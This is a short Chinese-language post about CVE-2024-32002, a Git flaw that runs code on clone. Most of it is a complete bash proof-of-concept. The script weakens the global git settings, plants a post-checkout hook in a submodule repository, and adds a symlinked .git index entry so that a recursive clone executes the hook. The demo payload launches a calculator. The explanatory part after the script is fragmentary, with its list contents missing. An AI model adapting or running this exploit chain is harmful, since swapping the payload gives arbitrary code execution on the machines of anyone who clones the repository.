
CVE-2024-32002 是 Git 中的一个严重漏洞,允许攻击者在用户执行 git clone 操作时远程执行任意代码(RCE)。
Bash 脚本:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main
# Define tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Make hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Local testing (not needed for GitHub)
git clone --recursive captain hooked
通俗解释:
此 Bash 脚本创建了一个恶意的 Git 仓库,利用漏洞 (CVE-2024-32002) 在有人克隆该仓库时执行恶意代码。
以下是该脚本的分解说明:
当有人克隆“captain”仓库时,恶意脚本将在他们的计算机上运行,可能导致以下有害后果:
为了保护自己免受此类攻击:
通过遵循这些预防措施,你可以显著降低遭受类似攻击的风险。